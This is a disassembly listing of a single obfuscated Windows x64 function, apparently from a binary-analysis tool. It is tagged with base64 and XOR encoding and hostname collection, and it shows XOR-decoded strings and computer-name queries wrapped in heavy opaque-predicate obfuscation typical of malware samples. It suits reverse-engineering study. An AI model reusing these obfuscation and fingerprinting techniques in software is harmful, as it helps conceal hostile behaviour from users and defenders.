Function at 0x14001e590
Capabilities:
Encode data using base64
Encode data using xor
Get hostname

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x398
movdqa xmmword [rsp + 0x380], xmm8
movdqa xmmword [rsp + 0x370], xmm7
movdqa xmmword [rsp + 0x360], xmm6
lea rsi, [rsp + 0x290]
mov rcx, rsi
call fcn.1400d96f0
mov rcx, rsi
call fcn.1400d9f80
mov dword [rsp + 0x40], 0
lea r8, [rsp + 0x40]
mov ecx, 5
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x14001e690
mov ebx, dword [rsp + 0x40]
test rbx, rbx
je 0x14001e6a3
mov eax, dword [0x141dbfcb0]
add eax, dword [0x141dbfcb4]
imul rax, rax, 0x37828e65
shr rax, 0x3b
or eax, 0x1e527fb0
xor eax, 0xd018795c
cmp eax, 0xb6874f16
jae 0x14001e63c
lea rdx, [rbx + rbx]
mov ecx, 8
call fcn.1400beea0
lea rdx, [rbx + rbx]
mov ecx, 8
call fcn.1400beea0
test rax, rax
je 0x14001e9f0
mov rdi, rax
mov eax, 0x95014baf
nop dword [rax + rax]
mov ecx, dword [0x141dbfcb8]
or ecx, dword [0x141dbfcbc]
mov rdx, rcx
imul rdx, rax
shr rdx, 0x20
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x17
or ecx, 0x4bf2dded
cmp ecx, 0x80cfb27d
jae 0x14001e660
jmp 0x14001e6a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [rsp + 0x40]
test rbx, rbx
jne 0x14001e606
mov edi, 2
lea rsi, [rsp + 0x40]
mov r14, qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
nop word cs:[rax + rax]
mov eax, dword [0x141dbfcc8]
and eax, dword [0x141dbfccc]
add eax, 0xb16e6101
imul r15, rax, 0x198679eb
shr r15, 0x38
xor r15d, 0x7c2af8ba
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x80], rbx
mov ecx, 5
mov rdx, rdi
mov r8, rsi
call r14
cmp r15d, 0x3f460dad
jb 0x14001e6c0
movabs r13, 0x8000000000000000
test eax, eax
je 0x14001e8ee
nop
mov eax, dword [0x141dbfcd0]
imul eax, dword [0x141dbfcd4]
imul eax, eax, 0xe3822571
add eax, 0xf9ca085d
cmp eax, 0xc2d6c905
ja 0x14001e720
mov eax, 0xca88ff81
nop word cs:[rax + rax]
mov ecx, dword [0x141dbfcd8]
imul ecx, dword [0x141dbfcdc]
imul rcx, rax
shr rcx, 0x3e
add ecx, 0x1e1b6c32
cmp ecx, 0xce8fb566
ja 0x14001e750
test ebx, ebx
je 0x14001e91b
lea rcx, [rbx + rbx]
xor r14d, r14d
nop word cs:[rax + rax]
cmp word [rdi + r14*2], 0
je 0x14001e7d0
nop dword [rax + rax]
mov eax, dword [0x141dbfce0]
xor edx, edx
div dword [0x141dbfce4]
or eax, 0x814d0e54
imul eax, eax, 0x16f52df9
cmp eax, 0xfd679662
je 0x14001e7a0
inc r14
add rcx, 0xfffffffffffffffe
jne 0x14001e790
jmp 0x14001e91d
mov eax, dword [0x141dbfd00]
xor edx, edx
div dword [0x141dbfd04]
imul rax, rax, 0xec6dd89
shr rax, 0x3b
imul eax, eax, 0x4b4707e6
and eax, 0x6802e3be
cmp eax, 0x59f9c69c
ja 0x14001e7d0
mov r15, r14
sub r15, rbx
jbe 0x14001e8e1
lea rdi, [rsp + 0x70]
mov ebp, dword [0x141dbfd08]
add ebp, dword [0x141dbfd0c]
xor ebp, 0x95409042
or ebp, 0x6a9f6f3d
add ebp, 0xee6b1707
mov qword [rsp + 0x20], 2
mov r9d, 2
mov rcx, rdi
mov rdx, rbx
mov r8, r15
call fcn.1400faca0
cmp ebp, 0x8f959698
ja 0x14001e80c
mov r12, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x78]
lea rcx, [rdi + r12*2]
cmp r15, 2
jb 0x14001e8af
not rbx
add r14, rbx
add r14, r14
nop
mov eax, dword [0x141dbfd10]
or eax, dword [0x141dbfd14]
or eax, 0x914b13f0
imul eax, eax, 0x4112b51
add eax, 0x8696b9e8
cmp eax, 0x3ea79fcc
jb 0x14001e870
xor edx, edx
mov r8, r14
call sub.VCRUNTIME140.dll_memset
lea rax, [r12 + r15]
lea rcx, [rdi + rax*2]
add rcx, 0xfffffffffffffffe
add r12, r15
dec r12
mov eax, dword [0x141dbfd18]
xor eax, dword [0x141dbfd1c]
xor eax, 0x2b240c6f
add eax, 0x29062893
xor eax, 0xec314381
cmp eax, 0xecaa1221
jae 0x14001e8d6
mov word [rcx], 0
mov word [rcx], 0
inc r12
mov r14, r12
mov qword [rsp + 0x80], r14
mov rbx, r14
jmp 0x14001e91d
mov eax, dword [0x141dbfce8]
imul eax, dword [0x141dbfcec]
imul eax, eax, 0x705c61ec
xor eax, 0x1c4b4bb6
add eax, 0x895fdb4e
cmp eax, 0xebde8f4d
ja 0x14001ea50
jmp 0x14001ea2a
xor ebx, ebx
mov r15d, 0x89529915
lea r14, [rsp + 0x120]
nop dword [rax + rax]
mov r12d, dword [0x141dbfd20]
xor r12d, dword [0x141dbfd24]
imul r12, r15
shr r12, 0x3d
or r12d, 0x49d6c518
xor r12d, 0x2364fa8b
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.1400388c0
cmp r12d, 0xe2645243
jbe 0x14001e97b
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.1400388c0
jmp 0x14001e930
mov r15, qword [rsp + 0x120]
mov r12, qword [rsp + 0x128]
mov r14, qword [rsp + 0x130]
cmp qword [rsp + 0x70], 0
je 0x14001eaae
mov rbx, qword [0x141dd7fe0]
mov eax, dword [0x141dbfd28]
sub eax, dword [0x141dbfd2c]
imul rax, rax, 0x1b433a23
shr rax, 0x3b
imul eax, eax, 0x3067d64c
add eax, 0xbf0c8064
cmp eax, 0x7579b2cc
jae 0x14001e9dd
mov rcx, rbx
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbx
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14001eaae
ud2
ud2
mov ebp, dword [0x141dbfcf0]
and ebp, dword [0x141dbfcf4]
or ebp, 0xffffb3bf
xor ebp, 0xca9438c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebp, 0x7e7346df
jbe 0x14001ea58
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14001ea2a
test ebx, ebx
je 0x14001eaab
mov eax, 0x880b065b
nop word cs:[rax + rax]
mov edx, dword [0x141dbfcf8]
imul edx, dword [0x141dbfcfc]
imul rdx, rax
shr rdx, 0x3e
and edx, 1
mov rcx, qword [0x141dd7fe0]
cmp edx, 0x54818662
jbe 0x14001eaa0
mov rcx, qword [0x141dd7fe0]
jmp 0x14001ea70
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r15, r13
lea rax, [0x141da7dda]
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x70]
movabs rax, 0x54ff1d507fd6b701
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.14001b540
movabs rcx, 0xfa7ec33fe7f229bd
xor rcx, qword [rax]
mov edx, 0x613f7453
xor edx, dword [rax + 8]
movzx r8d, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
mov r9d, eax
shr r9d, 8
xor al, 0xa9
xor r9b, 0x22
xor r8b, 0x1f
xor r11d, r11d
mov r10d, 1
mov qword [rsp + 0x120], rcx
mov dword [rsp + 0x128], edx
mov byte [rsp + 0x12c], al
mov byte [rsp + 0x12d], r9b
mov byte [rsp + 0x12e], r8b
cmp r15, r13
cmovne r10, r12
cmovne r11, r15
mov qword [rsp + 0x288], r11
mov qword [rsp + 0x280], r10
je 0x14001ebeb
cmp r14, 0xf
jne 0x14001ebeb
mov rax, qword [r10]
mov rdx, qword [r10 + 7]
xor rax, qword [rsp + 0x120]
xor rdx, qword [rsp + 0x127]
xor ecx, ecx
or rdx, rax
setne cl
nop word cs:[rax + rax]
mov eax, dword [0x141dbfd30]
xor edx, edx
div dword [0x141dbfd34]
xor eax, 0x2b6af9ed
add eax, 0xbc47f37
xor eax, 0x5b50a50d
cmp eax, 0xc63737ef
ja 0x14001eb90
nop word cs:[rax + rax]
mov eax, dword [0x141dbfd38]
xor eax, dword [0x141dbfd3c]
imul eax, eax, 0x1ea14458
xor eax, 0x369003b1
or eax, 0x849684e
cmp eax, 0x99b0e717
ja 0x14001ebc0
test ecx, ecx
je 0x14001fbc9
lea rsi, [rsp + 0x120]
mov rcx, rsi
call fcn.1400dcd30
cmp byte [rsp + 0x120], 0x12
jne 0x14001ee32
lea rax, [0x141da4658]
mov qword [rsp + 0x120], rax
mov rcx, qword [rsp + 0x120]
movabs rax, 0xf7fc3093063ae4a8
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.14001bc10
movabs rcx, 0x8328b3902449038c
xor rcx, qword [rax]
movabs rdx, 0x3f11b2b63e05de9d
xor rdx, qword [rax + 8]
mov r8d, 0x21a9b4b5
xor r8d, dword [rax + 0x10]
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rdx
mov dword [rsp + 0x130], r8d
lea rcx, [rsp + 0x40]
lea rsi, [rsp + 0x120]
mov r8d, 0x14
mov rdx, rsi
call fcn.1400dd120
movzx eax, byte [rsp + 0x40]
cmp rax, 0x12
jne 0x14001ee72
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xd0], rax
lea rax, [0x141da76bb]
mov qword [rsp + 0x120], rax
mov rcx, qword [rsp + 0x120]
movabs rax, 0x13af67d9d8d53740
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.140019170
movabs rcx, 0x3c07d06ace1eb9be
xor rcx, qword [rax]
movabs rdx, 0x423ad6d07549e8f
xor rdx, qword [rax + 8]
movabs r8, 0x5ae8f0c0404880ea
xor r8, qword [rax + 0x10]
movabs r9, 0xc1e5d256daea85b8
xor r9, qword [rax + 0x18]
movabs r10, 0xe2647abe0e4adfa1
xor r10, qword [rax + 0x20]
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x130], r8
mov qword [rsp + 0x138], r9
mov qword [rsp + 0x140], r10
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xd0]
lea r8, [rsp + 0x120]
mov r9d, 0x28
call fcn.140006f20
cmp byte [rsp + 0x70], 0x12
jne 0x14001ea28
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x228], rax
mov rbx, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
mov eax, dword [0x141dd7ffc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x70], 0
je 0x14001f04a
mov eax, dword [0x141dd7ffc]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
mov rax, qword [rcx + 0x78]
mov rcx, qword [rcx + 0x80]
mov edx, 0xb09b27c3
nop word cs:[rax + rax]
mov r8d, dword [0x141dbfd98]
xor r8d, dword [0x141dbfd9c]
xor r8d, 0x8ddb9b04
imul r8, rdx
shr r8, 0x3d
add r8d, 0x9add402e
cmp r8d, 0x298861b7
jb 0x14001edf0
jmp 0x14001f099
mov eax, dword [0x141dbfd40]
xor edx, edx
div dword [0x141dbfd44]
imul eax, eax, 0x5e454a33
ud2
cmp rax, 0x10
ja case.0x14001ee8a.10
lea rcx, [0x141db7234]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, dword [0x141dbfd50]
xor edx, edx
div dword [0x141dbfd54]
or eax, 0xe1e7254a
add eax, 0xa62ba753
xor eax, 0x3f1f175d
cmp eax, 0x11be331c
jb case.0x14001ee8a.6
mov rcx, qword [rsp + 0x48]
nop dword [rax]
mov eax, dword [0x141dbfd58]
xor edx, edx
div dword [0x141dbfd5c]
add eax, 0xf03fbffd
xor eax, 0xc143b54b
add eax, 0x9bc88919
cmp eax, 0x387bee15
jb 0x14001eec0
mov eax, 0x10
jmp 0x14001ef3f
mov eax, dword [0x141dbfd78]
or eax, dword [0x141dbfd7c]
xor eax, 0x9ffcdebf
add eax, 0x9f3b99f0
xor eax, 0xfdbbf7f7
cmp eax, 0x6a4f2098
ja case.0x14001ee8a.13
mov rcx, qword [rsp + 0x50]
nop word [rax + rax]
mov eax, dword [0x141dbfd80]
xor edx, edx
div dword [0x141dbfd84]
or eax, 0x641b4116
cmp eax, 0xe79ba482
je 0x14001ef20
mov eax, 8
test rcx, rcx
jne 0x14001efd1
jmp case.0x14001ee8a.0
mov eax, dword [0x141dbfd60]
or eax, dword [0x141dbfd64]
imul eax, eax, 0xd169e3dd
imul rax, rax, 0x3e234c7d
shr rax, 0x3d
imul eax, eax, 0x574bfc84
cmp eax, 0x1364069d
ja case.0x14001ee8a.9
nop word [rax + rax]
mov eax, dword [0x141dbfd68]
imul eax, dword [0x141dbfd6c]
and eax, 0x94352320
add eax, 0x4d47daa1
cmp eax, 0xc18cbe39
jb 0x14001ef80
jmp case.0x14001ee8a.10
mov eax, dword [0x141dbfd70]
sub eax, dword [0x141dbfd74]
imul rax, rax, 0x72237903
shr rax, 0x3d
imul eax, eax, 0xad2245ae
cmp eax, 0x1deaf3dc
je case.0x14001ee8a.12
mov eax, 0x10
cmp qword [rsp + 0x48], 0
je case.0x14001ee8a.0
mov r8, qword [rsp + rax + 0x40]
mov rcx, qword [0x141dd7fe0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x141dbfd88]
sub eax, dword [0x141dbfd8c]
add eax, 0x8b510831
and eax, 0x107b916e
xor eax, 0x7232a7ff
cmp eax, 0xa6cd6232
ja case.0x14001ee8a.0
mov eax, 0x846daf4f
nop word [rax + rax]
mov ecx, dword [0x141dbfd90]
and ecx, dword [0x141dbfd94]
imul rcx, rax
shr rcx, 0x3f
add ecx, 0xac47c455
cmp ecx, 0xb08f5a6b
jae 0x14001f020
mov bpl, 1
jmp 0x14001fab0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
mov edx, 0x10
call qword [sym.imp.bcryptprimitives.dll_ProcessPrng]
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x128]
mov edx, dword [0x141dd7ffc]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov byte [rdx + 0x70], 1
mov qword [rdx + 0x80], rcx
lea rdx, [rax + 1]
lea r15, [rsi + rsi*2]
shl r15, 4
add r15, rbx
movdqu xmm0, xmmword [0x141db6b10]
movups xmm1, xmmword [0x141db6b20]
nop word [rax + rax]
mov r8d, dword [0x141dbfda0]
mov r9d, dword [0x141dbfda4]
add r8d, r9d
add r8d, 0xd65b6ebd
mov r9d, dword [0x141dd7ffc]
mov r10, qword gs:[0x58]
mov r9, qword [r10 + r9*8]
or r8d, 0x5665c1b7
imul r8d, r8d, 0x715b6aa3
mov qword [r9 + 0x78], rdx
movdqa xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rcx
cmp r8d, 0xaeac1988
ja 0x14001f0c0
mov r12, rbx
test rsi, rsi
mov qword [rsp + 0x110], rbx
je 0x14001f782
lea rbp, [rsp + 0x128]
nop word cs:[rax + rax]
mov eax, dword [0x141dbfda8]
or eax, dword [0x141dbfdac]
and eax, 0xcc50c684
add eax, 0x5bdd9ae7
xor eax, 0x645542c9
cmp eax, 0x7055a0e6
ja 0x14001f150
lea r14, [0x141db6b00]
lea r13, [0x1400ffed0]
pcmpeqd xmm6, xmm6
mov edi, 0xdade42e1
xor esi, esi
mov rax, rbx
mov qword [rsp + 0xf0], r15
jmp 0x14001f1b9
lea rcx, [rsp + 0x120]
call fcn.14000d5a0
mov rax, r12
cmp r12, r15
je 0x14001f7c1
lea r12, [rax + 0x30]
mov rcx, qword [rax]
test rcx, rcx
je 0x14001f782
mov qword [rsp + 0x120], rcx
mov rcx, qword [rax + 0x28]
mov qword [rbp + 0x20], rcx
movdqu xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movups xmmword [rbp + 0x10], xmm1
movdqu xmmword [rbp], xmm0
mov r8d, 0xb
lea rcx, [rsp + 0x120]
mov rdx, r13
call fcn.14001e060
test rax, rax
je 0x14001f700
cmp byte [rax + 0x18], 2
jne 0x14001f700
mov qword [rsp + 0xf8], r12
mov r12, qword [rax + 0x30]
test r12, r12
js 0x14001ea28
mov rbx, qword [rax + 0x28]
mov qword [rsp + 0x100], rsi
je 0x14001f2d0
mov eax, dword [0x141dbfe10]
xor eax, dword [0x141dbfe14]
or eax, 0x83c30e9c
xor eax, 0x557c06cf
imul eax, eax, 0xebe5abd5
cmp eax, 0xc2b53127
jbe 0x14001f265
movzx eax, byte [0x141dd7ff8]
movzx eax, byte [0x141dd7ff8]
mov eax, dword [0x141dbfe18]
or eax, dword [0x141dbfe1c]
imul eax, eax, 0xc72bba9b
add eax, 0x1fb96b96
and eax, 0x1289a1f0
cmp eax, 0x123da711
jbe 0x14001f299
xor ecx, ecx
mov rdx, r12
call fcn.1400beea0
xor ecx, ecx
mov rdx, r12
call fcn.1400beea0
test rax, rax
je 0x14001ea28
mov r13, rax
nop
mov eax, dword [0x141dbfe20]
xor eax, dword [0x141dbfe24]
imul eax, eax, 0xb6a6dac2
add eax, 0x8286a0e4
cmp eax, 0x60bf06b9
ja 0x14001f2b0
jmp 0x14001f2d6
mov r13d, 1
mov qword [rsp + 0x38], rbx
mov eax, dword [0x141dbfe28]
or eax, dword [0x141dbfe2c]
add eax, 0x3c6cca14
or eax, 0xbcdef76f
cmp eax, 0xd079cf01
jb 0x14001f600
nop dword [rax]
mov eax, dword [0x141dbfe30]
imul eax, dword [0x141dbfe34]
imul ebx, eax, 0x9027e79f
mov rcx, r13
mov rdx, qword [rsp + 0x38]
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov rsi, qword [rsp + 0x90]
mov r15, qword [rsp + 0x98]
mov rcx, rsi
mov rdx, r15
mov r8, r13
mov r9, r12
call fcn.1400c04c0
cmp ebx, 0xa463e928
je 0x14001f600
mov rbp, rax
mov rdx, rsi
cmp qword [rsp + 0x80], 0
mov rsi, qword [rsp + 0x100]
je 0x14001f741
mov rax, rbp
shr rax, 0x39
mov qword [rsp + 0x118], rax
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x38], rax
xor r15d, r15d
nop dword [rax + rax]
mov eax, dword [0x141dbfe40]
sub eax, dword [0x141dbfe44]
imul eax, eax, 0xd84cf63e
add eax, 0xfd64671d
cmp eax, 0xa58aa5ff
ja 0x14001f3a0
and rbp, rsi
movdqu xmm8, xmmword [r14 + rbp]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb ebx, xmm0
nop word cs:[rax + rax]
test bx, bx
je 0x14001f488
nop dword [rax]
mov eax, dword [0x141dbfe48]
or eax, dword [0x141dbfe4c]
imul eax, eax, 0x5ad165a
imul rax, rdi
shr rax, 0x3e
cmp eax, 0x17ed242
ja 0x14001f3f0
tzcnt eax, ebx
add rax, rbp
and rax, rsi
neg rax
lea rax, [rax + rax*2]
cmp r12, qword [r14 + rax*8 - 8]
jne 0x14001f467
lea rax, [r14 + rax*8]
nop dword [rax]
mov ecx, dword [0x141dbfe50]
xor ecx, dword [0x141dbfe54]
imul ecx, ecx, 0x81e90150
add ecx, 0xa2d414b0
cmp ecx, 0x57e64c7f
jb 0x14001f430
mov rdx, qword [rax - 0x10]
mov rcx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001f630
lea eax, [rbx - 1]
and eax, ebx
mov ebx, eax
nop
mov eax, dword [0x141dbfe58]
xor eax, dword [0x141dbfe5c]
cmp eax, 0xd51c11ae
je 0x14001f470
jmp 0x14001f3e0
cmp r15, 1
mov r15d, 1
je 0x14001f4b1
pmovmskb eax, xmm8
xor r15d, r15d
bsf eax, eax
setne r15b
add rax, rbp
and rax, rsi
mov qword [rsp + 0x100], rax
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x14001f4f0
xor eax, eax
nop word cs:[rax + rax]
test al, al
jne 0x14001f4d0
mov rcx, qword [rsp + 0x38]
add rcx, 0x10
mov rax, rcx
mov qword [rsp + 0x38], rcx
add rbp, rcx
jmp 0x14001f3a0
mov eax, dword [str.Tev]
and eax, dword [0x141dbfe64]
and eax, 0x83b7535a
imul rcx, rax, 0x338232d7
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1d
add eax, 0x6e4873e3
cmp eax, 0x9b3d4590
ja 0x14001f4f0
mov rdx, qword [rsp + 0x100]
movzx eax, byte [r14 + rdx]
test al, al
mov r15, qword [rsp + 0xf0]
lea rbp, [rsp + 0x128]
mov ecx, 0x98fb8d15
js 0x14001f5b8
nop word [rax + rax]
mov eax, dword [0x141dbfe68]
sub eax, dword [0x141dbfe6c]
imul rax, rcx
shr rax, 0x3f
imul eax, eax, 0xd1e24513
add eax, 0xb45384c1
cmp eax, 0xf9a1ca9
jb 0x14001f550
movdqa xmm0, xmmword [r14]
pmovmskb eax, xmm0
tzcnt edx, eax
nop word cs:[rax + rax]
mov eax, dword [0x141dbfe70]
xor eax, dword [0x141dbfe74]
imul eax, eax, 0x7f350b07
or eax, 0xb4d2c943
add eax, 0x77dca033
cmp eax, 0x479dd022
jae 0x14001f590
movzx eax, byte [r14 + rdx]
and al, 1
movzx eax, al
sub qword [rsp + 0x80], rax
lea rax, [rdx - 0x10]
and rax, rsi
mov rcx, qword [rsp + 0x118]
mov byte [r14 + rdx], cl
mov byte [rax + r14 + 0x10], cl
inc qword [rsp + 0x88]
neg rdx
lea rax, [rdx + rdx*2]
mov qword [r14 + rax*8 - 0x18], r12
mov qword [r14 + rax*8 - 0x10], r13
mov qword [r14 + rax*8 - 8], r12
jmp 0x14001f6e5
mov rcx, r13
mov rdx, qword [rsp + 0x38]
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov r8, r13
mov r9, r12
call fcn.1400c04c0
jmp 0x14001f300
test r12, r12
je 0x14001f6d5
mov eax, dword [0x141dbfe78]
imul eax, dword [0x141dbfe7c]
imul eax, eax, 0x38e92bb7
add eax, 0x3dfe484d
cmp eax, 0x8d286181
mov r12, qword [rsp + 0xf8]
jae 0x14001f667
mov rax, qword [0x141dd7fe0]
mov r15, qword [0x141dd7fe0]
mov rbp, qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x141dbfe80]
xor edx, edx
div dword [0x141dbfe84]
xor eax, 0xb2102900
and eax, 0xfe192b04
imul ebx, eax, 0xe22131e5
mov rcx, r15
xor edx, edx
mov r8, r13
call rbp
cmp ebx, 0x4f2b6e4e
jb 0x14001f6bc
mov rcx, r15
xor edx, edx
mov r8, r13
call rbp
jmp 0x14001f680
mov r15, qword [rsp + 0xf0]
lea r13, [0x1400ffed0]
lea rbp, [rsp + 0x128]
jmp 0x14001f700
mov r15, qword [rsp + 0xf0]
lea rbp, [rsp + 0x128]
mov r12, qword [rsp + 0xf8]
lea r13, [0x1400ffed0]
nop word cs:[rax + rax]
mov eax, dword [0x141dbfe08]
xor eax, dword [0x141dbfe0c]
or eax, 0x5a29028b
mov ecx, 0xb75f0325
imul rax, rcx
shr rax, 0x3f
imul eax, eax, 0x9acf3713
cmp eax, 0x8f3ed28
jne 0x14001f1a0
lea rcx, [rsp + 0x120]
call fcn.14000d5a0
jmp 0x14001f1a0
lea rcx, [rsp + 0x70]
mov r8, r15
call fcn.1400ef7c0
nop
mov eax, dword [0x141dbfe38]
and eax, dword [0x141dbfe3c]
imul eax, eax, 0x9fd2d36b
add eax, 0x88004c8b
and eax, 0xebfc0816
cmp eax, 0xdd4cff87
ja 0x14001f750
mov r14, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
jmp 0x14001f36d
mov rax, r15
sub rax, r12
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r15, r12
je 0x14001f7c1
mov rbx, rdx
shr rbx, 5
nop word cs:[rax + rax]
mov rcx, r12
call fcn.14000d5a0
add r12, 0x30
dec rbx
jne 0x14001f7b0
cmp qword [rsp + 0x228], 0
je 0x14001f7e3
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x88]
test rsi, rsi
sete bpl
nop word cs:[rax + rax]
mov eax, dword [str.DGF_n]
xor edx, edx
div dword [0x141dbfdb4]
add eax, 0xff99fc85
cmp eax, 0x2c2e4d37
jb 0x14001f800
mov rdi, qword [rsp + 0x78]
test rdi, rdi
je 0x14001fa20
nop dword [rax + rax]
mov eax, dword [0x141dbfdb8]
or eax, dword [0x141dbfdbc]
imul eax, eax, 0x713500fa
add eax, 0x3a11140d
cmp eax, 0x9c11e52a
jb 0x14001f830
test rsi, rsi
je 0x14001f9c3
mov rbx, qword [rsp + 0x70]
movdqa xmm0, xmmword [rbx]
mov eax, 0xabe4750f
lea r14, [rbx + 0x10]
pmovmskb r12d, xmm0
not r12d
nop word cs:[rax + rax]
mov ecx, dword [0x141dbfdc0]
or ecx, dword [0x141dbfdc4]
imul rcx, rax
shr rcx, 0x3e
add ecx, 0x9aab4389
xor ecx, 0x4024f53d
cmp ecx, 0x3f877236
jb 0x14001f880
mov r15, qword [sym.imp.KERNEL32.dll_HeapFree]
nop
test r12w, r12w
jne 0x14001f910
nop word cs:[rax + rax]
mov eax, dword [0x141dbfdc8]
sub eax, dword [0x141dbfdcc]
add eax, 0x829aadad
and eax, 0xa88a2048
add eax, 0xd6b4200
cmp eax, 0xd33b31b2
ja 0x14001f8c0
add rbx, 0xfffffffffffffe80
movdqa xmm0, xmmword [r14]
add r14, 0x10
pmovmskb r12d, xmm0
cmp r12w, 0xffff
je 0x14001f8c0
not r12d
nop word cs:[rax + rax]
mov eax, dword [0x141dbfdd0]
imul eax, dword [0x141dbfdd4]
xor eax, 0xe6c8e417
imul eax, eax, 0x73246095
cmp eax, 0xf628aa4e
je 0x14001f910
tzcnt eax, r12d
neg rax
lea rax, [rax + rax*2]
cmp qword [rbx + rax*8 - 0x18], 0
je 0x14001f97e
lea rax, [rbx + rax*8]
mov r8, qword [rax - 0x10]
mov rcx, qword [0x141dd7fe0]
xor edx, edx
call r15
nop word [rax + rax]
mov eax, dword [0x141dbfdd8]
imul eax, dword [0x141dbfddc]
add eax, 0x6bbed9cb
xor eax, 0xd9e6a089
cmp eax, 0xacffb206
ja 0x14001f960
lea eax, [r12 - 1]
and eax, r12d
dec rsi
mov r12d, eax
nop dword [rax]
mov eax, dword [0x141dbfde0]
imul eax, dword [0x141dbfde4]
imul rax, rax, 0x48f4515d
shr rax, 0x3d
xor eax, 0xd41ea11d
imul eax, eax, 0xcfef495c
cmp eax, 0xca1106f4
je 0x14001f990
test rsi, rsi
jne 0x14001f8b0
lea rax, [rdi + 1]
mov ecx, 0x18
mul rcx
add rax, 0xf
and rax, 0xfffffffffffffff0
add rdi, rax
cmp rdi, 0xffffffffffffffef
je 0x14001fa20
mov ecx, dword [0x141dbfde8]
and ecx, dword [0x141dbfdec]
or ecx, 0xed224040
and ecx, 0xed2e53c1
add ecx, 0xfa6c2079
cmp ecx, 0xac2ebef9
jb 0x14001f9e0
mov r8, qword [rsp + 0x70]
sub r8, rax
mov rcx, qword [0x141dd7fe0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax]
mov eax, dword [0x141dbfdf0]
and eax, dword [0x141dbfdf4]
imul eax, eax, 0xd4fe10c1
add eax, 0x29ebe696
xor eax, 0x5aa10300
cmp eax, 0x9fd94f09
ja 0x14001fa20
nop word cs:[rax + rax]
mov eax, dword [0x141dbfdf8]
sub eax, dword [0x141dbfdfc]
cmp eax, 0xf6a0d66a
je 0x14001fa50
mov eax, dword [0x141dbfe00]
sub eax, dword [0x141dbfe04]
imul rcx, rax, 0xdeaab09
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1a
add eax, 0x2c2a7164
and eax, 0x2c0a50ea
cmp eax, 0x3ab29bf9
jbe 0x14001faa2
mov rcx, qword [rsp + 0xd0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0xd0]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rdx, [0x141db6d68]
lea r13, [rsp + 0x120]
mov r8d, 0xa
mov rcx, r13
call fcn.1400dd120
cmp byte [rsp + 0x120], 0x12
jne 0x14001fe78
mov byte [rsp + 0x6f], bpl
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x260], rax
movzx eax, byte [0x141dd7ff8]
mov edx, 0xd8
xor ecx, ecx
call fcn.1400beea0
mov qword [rsp + 0x230], rax
test rax, rax
je 0x14001ea28
movabs rsi, 0x1aa62311de6753e2
lea rdi, [0x141dae341]
xor ebp, ebp
nop word [rax + rax]
mov qword [rsp + 0x120], rdi
mov rcx, qword [rsp + 0x120]
mov qword [rsp + 0x120], rsi
mov rdx, qword [rsp + 0x120]
call fcn.140019290
mov r14, qword [rax]
